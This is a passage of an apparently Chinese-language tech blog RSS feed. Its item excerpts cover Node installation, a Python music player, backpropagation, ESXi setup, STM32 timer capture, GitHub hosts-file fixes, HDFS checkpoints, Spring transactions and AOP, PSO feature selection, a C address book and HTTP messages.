      <link>https://bchobby.github.io/posts/f31d2e988fb7f780c73388856ac1442e/</link>
      <pubDate>Sun, 06 Mar 2022 17:15:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f31d2e988fb7f780c73388856ac1442e/</guid>
      <description> 近日在写论文的时候发现部分图片清晰度较差，为了保持图形的美观，可以使用以下方法：&#xA;https://bigjpg.com/对图片进行无损放大，增加清晰度 </description>
    </item>
    <item>
      <title>linux安装node(含npm命令) 并配置淘宝镜像源</title>
      <link>https://bchobby.github.io/posts/f606279cb4daa764db70ec57165d4f24/</link>
      <pubDate>Sun, 06 Mar 2022 15:12:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f606279cb4daa764db70ec57165d4f24/</guid>
      <description> 安装NPM 方法一 使用apt安装 npm版本号可能不是最新的&#xA;apt install npm 方法二 下载安装包离线安装 1. 下载压缩包 wget https://nodejs.org/dist/v16.14.0/node-v16.14.0-linux-x64.tar.xz # node14 https://nodejs.org/dist/v14.15.4/node-v14.15.4-linux-x64.tar.xz # 推荐将压缩包放置到/usr/local/node文件夹中安装 mv node-v16.14.0-linux-x64.tar.xz /usr/local/node 2. 解压 tar -xf node-v16.14.0-linux-x64.tar.xz 3. 设置环境变量 vim ~/.bashrc 添加【export PATH=&#34;&amp;lt;解压后的位置&amp;gt;/node-v16.14.0-linux-x64/bin:$PATH&#34;】&#xA;# 例如 export PATH=&#34;/usr/local/node/node-v16.14.0-linux-x64/bin:$PATH&#34; 4. 验证是否安装成功 node -v npm -v 若输出版本号则表示安装成功&#xA;配置淘宝镜像源 如果直接使用官方的开源库，国内下载不稳定速度慢，淘宝镜像源相对稳定&#xA;切换源 npm config set registry https://registry.npm.taobao.org # 显示当前源 npm config get registry 安装 npm install -g cnpm --registry=https://registry.npm.taobao.org </description>
    </item>
    <item>
      <title>[转]Python实现多功能音乐播放器</title>
      <link>https://bchobby.github.io/posts/21944c070e671301116494c313b1af3a/</link>
      <pubDate>Sun, 06 Mar 2022 12:46:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21944c070e671301116494c313b1af3a/</guid>
      <description>前言 就是用Python做一个简易的音乐播放器，废话不多说，咱们直接开干&#xA;当然，今天做这个肯定不是最简单的，最简单的音乐播放器，9行代码足以&#xA;import time import pygame file = r&#39;歌曲路径&#39; pygame.mixer.init() print(&#39;正在播放&#39;,file) track = pygame.mixer.music.load(file) pygame.mixer.music.play() time.sleep(130) pygame.mixer.music.stop() 开始今天的代码之前，准备工作 知识点和所需模块 1.python基础知识&#xA;2.requests库&#xA;3.time&#xA;4.pygame&#xA;5.tkinter&#xA;6.线程&#xA;环境 windowspycharm 2021.2python 3.8 完整代码，运行即可，记得👍👍👍（直接明示了） # 导入 import os import time import tkinter import tkinter.filedialog import threading import pygame # pip root = tkinter.Tk() root.title(&#39;音乐播放器&#39;) root.geometry(&#39;460x600+500+100&#39;) root.resizable(False,False) # 不能拉伸 folder =&#39;&#39; res = [] num = 0 now_music = &#39;&#39; def buttonChooseClick(): &#34;&#34;&#34; 添加文件夹 :return: &#34;</description>
    </item>
    <item>
      <title>【深度学习】神经网络基础：反向传播算法</title>
      <link>https://bchobby.github.io/posts/1230ad32d90ba6dbac30f1cc64738af4/</link>
      <pubDate>Sun, 06 Mar 2022 12:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1230ad32d90ba6dbac30f1cc64738af4/</guid>
      <description>作者：Simona Ivanova&#xA;AI/ML 专家&#xA;就职于 Science 杂志&#xA;导读&#xA;反向传播（Backpropagation，简称 BP）是目前用来训练人工神经网络（Artificial Neural Network，简称 ANN）算法最常用、最有效的方法。&#xA;反向传播最早出现于 20 世纪 70 年代，但直到 Geoffrey Hinton（杰佛里·辛顿）在1986 年发表了论文《Learning Representations by Back-Propagating Errors》后才得到各界重视。&#xA;杰佛里·辛顿：反向传播算法的发明人之一&#xA;Geoffrey Hinton（杰弗里•辛顿）&#xA;杰佛里·辛顿是一位英国出生的加拿大计算机学家和心理学家，在类神经网络领域贡献颇多，是反向传播算法的发明人之一，也是深度学习的积极推动者，被称为神经网络和深度学习之父。&#xA;此外，辛顿还是伦敦大学盖茨比计算神经科学中心创始人，目前担任加拿大多伦多大学计算机科学系教授。他的主要研究方向是人工神经网络在机器学习、记忆、感知和符号处理等领域的应用。目前，辛顿正在探索如何将神经网络运用到无监督学习算法中。&#xA;不过，在辛顿众多科研成果中，反向传播是最为著名的，也是目前大部分有监督学习神经网络算法的基础，建立在梯度下降法之上。其主要工作原理为：&#xA;ANN 算法在实际运行过程中一般分为输入层、隐藏层和输出层三类，当算法输出结果与目标结果出现误差时，算法会对误差值进行计算，然后通过反向传播将误差值反馈到隐藏层，通过修改相关参数进行调整，并不断重复此步骤，直到得出与预期相符的结果。&#xA;通过反向传播可以让 ANN 算法推导更接近目标的结果，不过，在了解反向传播如何应用于 ANN 算法之前，需要先弄清 ANN 的工作原理。&#xA;ANN 的工作原理&#xA;ANN 是一种基于人脑神经网络的数学模型或者计算模型，由大量节点（可以理解为生物神经元）相互连接而成。&#xA;生物神经元&#xA;数学模型中的单个节点&#xA;每个节点代表一种特定的输出函数，称为激励函数（activation function）；两个节点间的连接就代表一个加权值，也叫权重值。在 ANN 算法运行过程中，每个连接会对应一个权重 w 和偏移量 b（又称为 ANN 参数）。输出值则跟节点、权重值和偏移量有关。&#xA;单个神经元模型图&#xA;（其中a1～an 为输入向量的各个分量；w1～wn 为权重值；b为偏移量；σ 为激励函数，例如 tanh、Sigmoid、ReLU 等）&#xA;一个完整 ANN 一般包含一个输入层、多个隐藏层和一个输出层。其中隐藏层主要由神经元组成，承担最主要的运算工作，在实际运行过程中，每一层的神经元都会做出决策，并将决策传导至下一个隐藏层的神经元，直至输出最终结果。&#xA;因此，隐藏层层数越多，ANN 就越复杂，结果也就越准确。举例来讲，假如现在要通过一个 ANN 确定输入的动物「是猫」或者「不是猫」，输入这个动物，每个隐藏层内的神经元都对其会进行一次判定，得出结果，并将结果向下传导，直到最后一层神经元输出结果。</description>
    </item>
    <item>
      <title>ESXI 7.0 安装教程</title>
      <link>https://bchobby.github.io/posts/290f2684d075e9ffc8f020a2df8aacac/</link>
      <pubDate>Sun, 06 Mar 2022 09:32:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/290f2684d075e9ffc8f020a2df8aacac/</guid>
      <description>Vm ESXI安装教程&#xA;下载ESXI7.0的iso镜像&#xA;下载地址：&#xA;链接：https://pan.baidu.com/s/1ecZq6qUyqMeaBUOz1W84gQ 提取码：h42c 安装教程：&#xA;vm新建虚拟机，选择典型安装&#xA;下一步选择稍后安装操作系统&#xA;点击下一步，选择Vm ESX（x）&#xA;选择6.0版本&#xA;因为用的是老版本VM，新版本的vm会有7.0的选项，这里安装的也是ESXI7.0&#xA;继续点击下一步&#xA;路径和名称随便设置，继续下一步&#xA;这里建议把配置调高点&#xA;然后我们点击完成即可&#xA;点击CD/DVD 选择ESXI7.0的iso文件&#xA;开启虚拟机进行下一步安装&#xA;开启虚拟机后等待上方黄色进度条跑满&#xA;进入系统加载安装文件&#xA;加载VMkernel文件，等待灰色进度条跑满&#xA;加载文件完成按enter（回车）建进行安装ESXI7.0 系统出现End User License Agreement（EULA界面）也就是最终用户许可协议，按【F11】键接受Accept and Continue接受许可协议。 系统提示选择安装VMware ESXi 使用的存储，ESXi支持U盘以及SD卡安装。&#xA;黄色字体就是刚刚在vm设置的硬盘&#xA;提示选择键盘类型，选择US Default默认美国标准，按【Enter】键继续。&#xA;系统提示配置root用户的密码，根据实际情况输入，按【Enter】键继续。&#xA;按【F11】键开始安装。&#xA;开始安装ESXi 7.0&#xA;安装的时间取决于服务器的性能，等待一段时间后即可完成VMware ESXi 7.0的安装，按【Enter】键重启服务器 服务器重启完成后，进入VMware ESXi 7.0正式界面&#xA;在浏览器进入web页面账户root，密码在上方设置的</description>
    </item>
    <item>
      <title>stm32 单个定时器多路捕获测量频率与占空比（排坑）</title>
      <link>https://bchobby.github.io/posts/a86a94f7c2da1b49284fb0f02512fe6a/</link>
      <pubDate>Sat, 05 Mar 2022 21:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a86a94f7c2da1b49284fb0f02512fe6a/</guid>
      <description>单个定时器的多个通道可以捕获不同的方波信号&#xA;1.初始化配置&#xA;TIM_ICInitStructure.TIM_Channel = TIM_Channel_2; //通道选择&#xA;TIM_ICInitStructure.TIM_ICPolarity = TIM_ICPolarity_Rising; //上升沿触发&#xA;TIM_ICInitStructure.TIM_ICSelection = TIM_ICSelection_DirectTI; //管脚与寄存器对应关系&#xA;TIM_ICInitStructure.TIM_ICPrescaler = TIM_ICPSC_DIV1; //输入预分频。意思是控制在多少个输入周期做一次捕获，如果&#xA;//输入的信号频率没有变，测得的周期也不会变。比如选择4分频，则每四个输入周期才做一次捕获，这样在输入信号变化不频繁的情况下，&#xA;TIM_ICInitStructure.TIM_Channel = TIM_Channel_2; TIM_ICInitStructure.TIM_Channel = TIM_Channel_3; 一定要分开写，切记不可TIM_ICInitStructure.TIM_Channel = TIM_Channel_2|TIM_Channel_3; 会出问题&#xA;2.原理&#xA;先配置上升沿触发&#xA;TIM_ICInitStructure.TIM_ICPolarity = TIM_ICPolarity_Rising;&#xA;位置一&#xA;清零CNT计数器TIM_SetCounter(TIM2,0);&#xA;并且设置下降沿触发&#xA;位置二&#xA;下降沿触发进入，捕获此时CNT　IIM2_CH2ReadValue1 = TIM_GetCounter(TIM2); 并且设置上升沿触发&#xA;位置三&#xA;上升沿触发进入，捕获此时CNT　IIM2_CH2ReadValue2 = TIM_GetCounter(TIM2); 此时利用IIM2_CH2ReadValue1，IIM2_CH2ReadValue2 计算频率占空比&#xA;循环进入位置一&#xA;两个通道需要交替进行捕获，否则由于一个TIM只有一个CNT计数器，第一个上升沿清零会混乱&#xA;这就需要另一个定时器计时分配捕获时间&#xA;if(capture_time&amp;gt;=100)//100ms&#xA;{&#xA;if(TIM_CaptureNumber==2)&#xA;TIM_CaptureNumber=3;／／通道三捕获&#xA;else if(TIM_CaptureNumber==3)&#xA;TIM_CaptureNumber=2;&#xA;capture_time=0;／／通道二捕获&#xA;} 下面以TIM2的CH2、CH3通道演示 初始化代码 __IO uint16_t IIM2_CH2ReadValue1 = 0, IIM2_CH2ReadValue2 = 0, IIM2_CH3ReadValue1 = 0, IIM2_CH3ReadValue2 = 0; __IO uint16_t IIM2_CH2CaptureNumber = 0,IIM2_CH3CaptureNumber=0; __IO uint32_t IIM2_CH2Freq = 0,IIM2_CH3Freq=0; u8 TIM_CaptureNumber=2; //__IO uint32_t Capture = 0; //__IO uint32_t TIM2Freq = 0; float TIM2_Duty2; float TIM2_Duty3; void pwm2_capture_init(void) { TIM_ICInitTypeDef TIM_ICInitStructure; GPIO_InitTypeDef GPIO_InitStructure; NVIC_InitTypeDef NVIC_InitStructure; /* Enable the TIM2 global Interrupt */ NVIC_InitStructure.</description>
    </item>
    <item>
      <title>GITHUB无法打开与下载失败解决方法总结</title>
      <link>https://bchobby.github.io/posts/7bd0ab21d754a99e62032cd4c74ec297/</link>
      <pubDate>Sat, 05 Mar 2022 14:49:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bd0ab21d754a99e62032cd4c74ec297/</guid>
      <description>学SNICAR模式，去GITHUB下源码，学校网速感人加上IP限制，折腾近一个小时才完成，网上文章太多，自己总结一下。&#xA;下载单个文件 通常下载提供都是整个项目下载，但对于过大项目，下载其中几个就够了，网上的方法花里胡哨，其实有很简单的方法。&#xA;点进我们要单个下载的项目，比如这里我想先下nicarAD_v3.m 和 snicarAD_v3_drv.m 源文件研究一下。&#xA;我们点进相应文件，看到右上角的raw，右键，点击将链接另存为即可。&#xA;GITHUB无法打开与下载失败 由于DMS解析的IP无法访问造成，我们需要根据所在的地区，github.com解析的ip地址是多少，然后配置到hosts文件。&#xA;然而IP地址经常更换，为此，有程序员做出GITHUB520项目，给出了全部的IP地址，按照描述操作即可。&#xA;关于window下如何修改hosts文件：&#xA;打开CMD，以管理身份运行，输入notepad，打开记事本。&#xA;随后，文件→打开→C:\Windows\System32\drivers\etc\→选择所有文件→打开hosts。&#xA;在hosts最后加上项目作者给的IP地址就好啦，如下图：&#xA;记得激活生效，刷新一下DMS，然后关闭浏览器，重新进去就好了。</description>
    </item>
    <item>
      <title>NameNode和Secondary NameNode工作机制</title>
      <link>https://bchobby.github.io/posts/bb1106d50b1f7b5af899dc74d872e6a2/</link>
      <pubDate>Sat, 05 Mar 2022 12:18:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb1106d50b1f7b5af899dc74d872e6a2/</guid>
      <description> 1 工作机制 第一阶段：NameNode启动 第一次启动NameNode格式化后，创建Fsimage文件和Edits日志；如果不是第一次启动，直接加载Fsimage和Edits文件到内存客户端对元数据进行增删改的请求NameNode记录操作日志，更新滚动日志NameNode在内存中对数据进行增删改 第二阶段：Secondary NameNode工作 Secondary NameNode询问NameNode是否需要checkpoint，直接带回NameNode的询问结果Secondary NameNode请求执行checkpointNameNode滚动正在写的Edits日志将滚动前的Edits日志和Fsimage文件都由到Secondary NameNodeSecondary NameNode加载Edits日志和镜像文件到内存，执行合并生成新的镜像文件fsimage.chkpoint拷贝fsimage.chkpoint到NameNodeNameNode将fsimage.chkpoint重新命名成fsimage 工作机制详解：&#xA;Fsimage：NameNode内存中元数据序列化后形成的文件Edits：记录客户端更新元数据信息的每一步操作（可通过Edits运算出元数据） NameNode启动时，先滚动Edits并生成一个空的edits.inprogress，然后加载Edits和Fsimage到内存中，此时NameNode内存就持有最新的元数据信息。Client开始对NameNode发送元数据的增删改的请求，这些请求的操作首先会被记录到edits.inprogress中（查询元数据的操作不会被记录），如果此时NameNode挂掉，重启后会从Edits中读取元数据的信息，然后NameNode会在内存中执行元数据的增删改的操作。&#xA;由于Edits中记录的操作会越来越多，Edits文件会越来越大，导致NameNode在启动加载Edits时会很慢，所以需要对Edits和Fsimage进行合并（所谓合并，就是将Edits和Fsimage加载到内存中，照着Edits中的操作一步步执行，最终形成新的Fsimage）。Secondary NameNode的作用就是帮助NameNode进行Edits和Fsimage的合并工作。&#xA;Secondary NameNode首先会询问NameNode是否需要checkpoint（触发Checkpoint需要满足两个条件中的任意一个：定时时间和Edits中数据写满了），直接带回检查结果。Secondary NameNode执行Checkpoint操作，首先会让NameNode滚动Edits并生成一个空的edits.inprogress，滚动的目的是给Edits打个标记，以后所有新的操作都写入edits.inprogress，其它未合并的Edits和Fsimage会拷贝到Secondary NameNode的本地，然后将拷贝的Edits和Fsimage加载到内存中进行合并，生成fsimage.chkpoint，然后将fsimage.chkpoint拷贝给NameNode，NameNode将fsimage.chkpoint重命名为Fsimage后替换掉原来的Fsimage。NameNode在启动时就只需要加载之前未合并的Edits和Fsimage即可有，因为合并过的Edits中的元数据信息已经被记录在Fsimage中。&#xA;2 Fsimage和Edits概念 NameNode被格式化之后，将在/opt/module/hadoop-2.x.x/data/tmp/dfs/name/current目录中产生如下文件&#xA;fsimage_000000000000000&#xA;fsimage_000000000000000.md5&#xA;seen_txid&#xA;VERSION&#xA;Fsimage文件：HDFS文件系统元数据的一个永久性的检查点，其中包含HDFS文件系统的所有目录和idnode的序列化信息Edtis日志：存储HDFS文件系统的所有更新操作的路径，文件系统客户端执行的所有写操作首先会被记录到Edits文件中seen_txid文件保存的是一个数字，就是最后一个edits_的数据每次NameNode启动的时候都会将Fsimage文件读入内存，加载Edits里面的更新操作，保证内存中的元数据信息是最新的、同步的，可以看成NameNode启动的时候就将Fsimage和Edits文件进行了合并 </description>
    </item>
    <item>
      <title>刷到 LeetCode 这个评论，被笑到了</title>
      <link>https://bchobby.github.io/posts/790f0600fd3ef6d02f746c7abfa5c16c/</link>
      <pubDate>Sat, 05 Mar 2022 08:54:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/790f0600fd3ef6d02f746c7abfa5c16c/</guid>
      <description>大家好，我是吴师兄。&#xA;今天早上我在 LeetCode 第 141 号问题 环形链表 的评论区中发现了一个称得上是天秀的解法，简直太骚气了，忍不住分享给大家。&#xA;首先给没有见过这道题目的小伙伴补充一下前置知识， 环形链表这道题目讲的是给你一个链表的头节点 head ，判断链表中是否有环。&#xA;所谓链表有环，直观上来看就是这个样子：&#xA;严谨一些的说明指的是如果链表中有某个节点，可以通过连续跟踪 next 指针再次到达，则链表中存在环。&#xA;一般正经解法是使用快慢指针的思路，即在开头设置两个指针，一个跑的快，一个跑的慢，如果两个指针再次重新相遇，那么就说明有环。&#xA;这个思路挺好理解的，在一个环形操场上，跑的快的人总是能和跑的慢的人再次相遇。&#xA;但是这个评论区的小伙伴面向测试用例编程，给出了如下的代码：&#xA;public class Solution { public boolean hasCycle(ListNode head) { int count = 8029; while( head != null &amp;amp;&amp;amp; count &amp;gt; 0){ head = head.next; count--; } if( head == null ) return false; return true; } } 上述代码的含义是从链表的头节点，沿着链表不断地向后移动，移动 8029 次后，如果此时指向的是空，说明链表是一条直线不存在环，反之存在环。&#xA;很合理的思路！&#xA;如果一个链表的长度小于 8029，当它没有环时，不需要移动 8029 次就会来到尾部指向 null；当它存在环时，那么会在这个环中绕圈圈，最终移动 8029 次后指向一个存在值的节点。&#xA;提交一下代码，报错！&#xA;点击查看全部，发现最后一个测试用例链表的长度扩充到了 10000 。</description>
    </item>
    <item>
      <title>Spring事务回滚和异常类</title>
      <link>https://bchobby.github.io/posts/4ade687cd9884227de0d034523f20541/</link>
      <pubDate>Sat, 05 Mar 2022 08:49:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ade687cd9884227de0d034523f20541/</guid>
      <description> 1、异常的一些基本知识 异常的架构&#xA;异常的继承结构：Throwable为基类，Error和Exception继承Throwable。Error和RuntimeException及其子类成为未检查异常（unchecked），其它异常成为已检查异常（checked）。&#xA;Error异常 Error表示程序在运行期间出现了十分严重、不可恢复的错误，在这种情况下应用程序只能中止运行，例如JAVA 虚拟机出现错误。Error是一种unchecked Exception，编译器不会检查Error是否被处理，在程序中不用捕获Error类型的异常。一般情况下，在程序中也不应该抛出Error类型的异常。&#xA;RuntimeException异常 Exception异常包括RuntimeException异常和其他非RuntimeException的异常。&#xA;RuntimeException 是一种Unchecked Exception，即表示编译器不会检查程序是否对RuntimeException作了处理，在程序中不必捕获RuntimException类型的异常，也不必在方法体声明抛出　RuntimeException类。RuntimeException发生的时候，表示程序中出现了编程错误，所以应该找出错误修改程序，而不是去捕获RuntimeException。&#xA;Checked Exception异常 Checked Exception异常，这也是在编程中使用最多的Exception，所有继承自Exception并且不是RuntimeException的异常都是checked Exception，上图中的IOException和ClassNotFoundException。JAVA 语言规定必须对checked Exception作处理，编译器会对此作检查，要么在方法体中声明抛出checked Exception，要么使用catch语句捕获checked Exception进行处理，不然不能通过编译。&#xA;**&#xA;2、spring事务以及配置 spring事务的默认配置 Spring的事务管理默认是针对unchecked exception回滚，也就是默认对Error异常和RuntimeException异常以及其子类进行事务回滚，且必须抛出异常，若使用try-catch对其异常捕获则不会进行回滚！（Error异常和RuntimeException异常抛出时不需要方法调用throws或try-catch语句）；&#xA;checked异常,checked异常必须由try-catch语句包含或者由方法throws抛出，且事务默认对checked异常不进行回滚。&#xA;spring事务回滚异常的修改&#xA;a、注解方式。 @javax.transaction.Transactional 和 @org.springframework.transaction.annotation.Transactional 相似，均可使用。&#xA;rollbackFor定义的是需要回滚的异常，noRollbackFor定义的是不需要回滚的异常。（默认情况下对Error和RuntimeException及其子类进行回滚）&#xA;@Transactional(rollbackFor=MyException.class,noRollbackFor=OtherException.class)&#xA;public void updateUser(User user){&#xA;dao.update(user);&#xA;} b、配置方式。 定义时声明类的全限定名&#xA;注：若rollbackFor和noRollbackFor配置的类相同，则出现对应异常会进行回滚&#xA;c、若需要自行捕获异常进行处理，则使用 TransactionAspectSupport.currentTransactionStatus().setRollbackOnly() 语句进行手动回滚。&#xA;@Transactional(rollbackFor=MyException.class,noRollbackFor=RuntimeException.class) public void updateUser(User user){ try{ dao.update(user); }catch(MyException e){ //------//其他操作 TransactionAspectSupport.currentTransactionStatus().setRollbackOnly();//捕获异常后进行回滚 } } </description>
    </item>
    <item>
      <title>Spring AOP来自定义注解实现审计或日志记录（完整代码）</title>
      <link>https://bchobby.github.io/posts/4f9d5d8e2fe1b3b2731641cde0d38c9e/</link>
      <pubDate>Sat, 05 Mar 2022 08:08:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f9d5d8e2fe1b3b2731641cde0d38c9e/</guid>
      <description>环境准备 JDK 1.8，Springboot 2.1.3.RELEASE，spring-boot-starter-aop.2.1.4.RELEASE.jar，aspectjrt.1.9.2.jar，aspectjweaver.1.9.2.jar，pom依赖如下：&#xA;&amp;lt;!-- 添加aspectj --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-aop&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.4.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.aspectj&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aspectjrt&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.9.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.aspectj&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aspectjweaver&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.9.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 项目结构 自定义审计注解 package com.cjia.common.annotation; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; @Retention(value = RetentionPolicy.RUNTIME) @Target(value = { ElementType.METHOD }) public @interface Audit { /** * 模块代码 */ int moudleCode() default -1; /** * 扩展信息，用户返回操作类型及参数 */ Class&amp;lt;?&amp;gt; extension(); } 定义切面类 package com.cjia.common.aspect; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.</description>
    </item>
    <item>
      <title>【特征选择】基于粒子群算法实现二进制特征选择问题附matlab代码</title>
      <link>https://bchobby.github.io/posts/99346932525cb3d93d4b7b8f37551af6/</link>
      <pubDate>Sat, 05 Mar 2022 00:36:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99346932525cb3d93d4b7b8f37551af6/</guid>
      <description>1 简介 摘要：特征选择是数据挖掘和机器学习等领域的重要研究方向。客观条件的限制，特征选择比较复杂且很难找到最关键的特征集合，导致分类精确度不高、分类器制作困难。开展分组特征选择算法的研究具有较高的理论意义和实用价值。　本文分析研究了支持向量机、Relief算法、SVM-RFE算法、粒子群算法和离散型粒子群算法，在此基础上对离散型粒子群算法进行了改进，对比实验表明，改进后的算法能够更好地找到特征之间的组结构，同时每个组中特征之间也有很强的相关性。提出基于特征子集相关性的分组特征选择算法，该算法首先运用线性支持向量机获取到数据属性的特征系数，据之建立用于特征分组的评价模型，然后对每个组内的特征距离进行优化，使得组内的距离尽可能小，进而找到特征之间的组结构，最后从每个组结构中挑选出代表特征组成特征子集。结果表明，本算法的分类精确度明显高于典型的特征选择算法。提出了基于特征子集差异性的分组特征选择算法，该算法首先利用特征权重系数构建分组矩阵，找到最优分组结构，然后对组间距离进行优化，使得每个组中的特征与其他各组中特征的距离和最大。在标准数据集上对本算法和基于特征子集相关性的分组特征选择算法进行对比测试，实验结果表明，本算法在特征选择和分类上的性能上更优。&#xA;BPSO 算法是 Kennedy 于 1997 年在连续性 PSO算法基础上提出的，用于解决离散的优化问题[26]。BPSO算法通过模拟鸟类飞行觅食过程，种群中每个粒子相当于解空间中的一个解，粒子具有速度和位置两个属性，位置向量表示该粒子对应的解，速度向量则是为了调整粒子下一次飞行，从而进行位置更新搜索新的解集。粒子飞行过程中根据自己的历史飞行经验和种群中其他粒子的飞行经验调整自身的飞行方向和速度。其中，每个粒子历史飞行过程中的最优位置称为个体最优解 pbest ，整个种群在历史飞行过程中所经过的最好位置为 gbest ，称为全局最优解[26]，粒子之间通过 pbest、gbest 共享信息，从而在进化过程中影响种群的搜索行为。&#xA;2 部分代码 %-------------------------------------------------------------------------%% Binary Particle Swarm Optimization (BPSO) source codes demo version %clc, clear, close % Benchmark data set contains 351 instances and 34 features (binary class)load ionosphere.mat; % Matlab also provides this dataset (load Ionosphere.mat)% Call features &amp;amp; labelsfeat=f; label=l; %---Input------------------------------------------------------------------% feat: feature vector (instances x features)% label: labelling% N: Number of particles% T: Maximum number of iterations% c1: Cognitive factor% c2: Social factor% Vmax: Maximum velocity% Wmax: Maximum bound on inertia weight% Wmin: Minimum bound on inertia weight% *Note: k-value of KNN &amp;amp; k-fold setting can be modified in jFitnessFunction.</description>
    </item>
    <item>
      <title>C语言编写通讯录系统</title>
      <link>https://bchobby.github.io/posts/40f67cc249031237415fe5682f8ba9a8/</link>
      <pubDate>Fri, 04 Mar 2022 16:28:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40f67cc249031237415fe5682f8ba9a8/</guid>
      <description>今天交了一个用C写的通讯录系统，自以为还行，但老师无视我的设计🙀🙀，只给我89（主要是90多的一大堆，代码还都比我垃圾） （大一初学C）&#xA;下面是我的代码🐵🐵🐵&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;windows.h&amp;gt; typedef struct person { char name[20]; //姓名 char sex[10]; //性别 char num[20]; //手机号 char QQ[20]; //QQ号 char email[20]; //邮箱 char address[50]; //地址 char relation[20]; //分组 char remarks[20]; //备注 } PER; int menu(); //菜单 void add_person(PER arr[],int *nPtr); //添加l联系人函数 void InputPerson(PER arr[],int i); //添加一个联系人 void OutPerson(PER arr[],int i); //输出一个联系人 int print_person(PER arr[],int n); //输出联系人 int FindByName(PER arr[],int n,char *str); //按姓名查找位置 int FindByNum(PER arr[],int n,char *str); //按电话号查找位置 void delete_person(PER arr[],int *nPtr); //删除联系人 void modify_person(PER arr[],int n); //修改联系人 void search_person_name(PER arr[],int n); //按名字查找联系人 void search_person_num(PER arr[],int n); //按号码查找联系人 void search_person_relation();//按分组查找联系人 void save_file(PER arr[],int n); //将数据保存到磁盘 void load_file(PER arr[],int *nPtr); //添加顺序文件加载到数组per void load_file_Name(PER arr[],int *nPtr); //姓名顺序文件加载到数组Name_per void load_file_Num(PER arr[],int *nPtr); //号码顺序文件加载到数组Num_per void sort_person_name(); //按姓名显示 void sort_person_num(); //按号码显示 void show_person(PER arr[],int n); //显示所有联系人 int main() { system(&#34;</description>
    </item>
    <item>
      <title>HTTP协议-报文解析</title>
      <link>https://bchobby.github.io/posts/80172aa2a1723322934cfd92d46e8f8a/</link>
      <pubDate>Fri, 04 Mar 2022 14:21:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80172aa2a1723322934cfd92d46e8f8a/</guid>
      <description>概述 HTTP（超文本传输协议）是一个基于请求与响应模式的、无状态的、应用层的协议，常基于TCP的连接方式。&#xA;HTTP消息由客户端到服务器的请求和服务器到客户端的响应组成。请求消息和响应消息的组成：&#xA;开始行（对于请求消息，开始行就是请求行；对于响应消息，开始行就是状态行）消息报头（可选）空行（只有CRLF的行）消息正文（可选）组成。 一、请求报文 http请求由四部分组成：&#xA;请求行消息报头/请求头空行请求正文 1.1 请求行 Method Request-URI HTTP/Version CRLF&#xA;(1) Method HTTP请求方法&#xA;请求方法描述GET请求获取Request-URI所标识的资源POST在Request-URI所标识的资源后附加新的数据HEAD请求获取由Request-URI所标识的资源的响应消息报头PUT请求服务器存储一个资源，并用Request-URI作为其标识DELETE请求服务器删除Request-URI所标识的资源TRACE请求服务器回送收到的请求信息，主要用于测试或诊断CONNECTHTTP/1.1 协议中预留给能够将连接改为管道方式的代理服务器OPTIONS请求查询服务器的性能，或者查询与资源相关的选项和需求 (2) Request-URI URI完整地指定了要访问的网络资源，通常只要给出相对于服务器的根目录的相对目录即可，因此总是以“/”开头&#xA;(3) HTTP/Version 协议/版本&#xA;1.2 请求头 Accept、Accept-Charset、Accept-Encoding、Accept-Language、Authorization、Host、User-Agent等。&#xA;1.3 请求正文 请求头和请求正文之间是一个空行，这个行非常重要，它表示请求头已经结束，接下来的是请求正文。&#xA;二、响应报文 http响应由四部分组成：&#xA;状态行消息报头/响应头空行响应正文 2.1 状态行 HTTP/Version Status-Code Reason-Phrase CRLF&#xA;(1) HTTP/Version 协议/版本&#xA;(2) Status-Code Reason-Phrase HTTP状态码&#xA;状态码分类描述1xx指示信息–表示请求已接收，继续处理2xx成功–表示请求已被成功接收、理解、接受3xx重定向–要完成请求必须进行更进一步的操作4xx客户端错误–请求有语法错误或请求无法实现5xx服务器端错误–服务器未能实现合法的请求 状态码列表描述200 OK客户端请求成功400 Bad Request客户端请求有语法错误，不能被服务器所理解401 Unauthorized请求未经授权，这个状态代码必须和WWW-Authenticate报头域一起使用 403 Forbidden404 Not Found请求资源不存在，eg：输入了错误的URL500 Internal Server Error服务器发生不可预期的错误503 Server Unavailable服务器当前不能处理客户端的请求，一段时间后可能恢复正常 2.2 响应头 Location、Server、WWW-Authenticate等&#xA;2.3 响应正文 响应头和响应正文之间是一个空行，这个行非常重要，它表示响应头已经结束，接下来的是响应正文。&#xA;三、消息报头 包括普通报头、请求报头、响应报头、实体报头。</description>
    </item>
    <item>
      <title>vue 实时获取当前年月日时间星期</title>
      <link>https://bchobby.github.io/posts/e8f67b4c021f16ebfd8fbbfe4e727b48/</link>
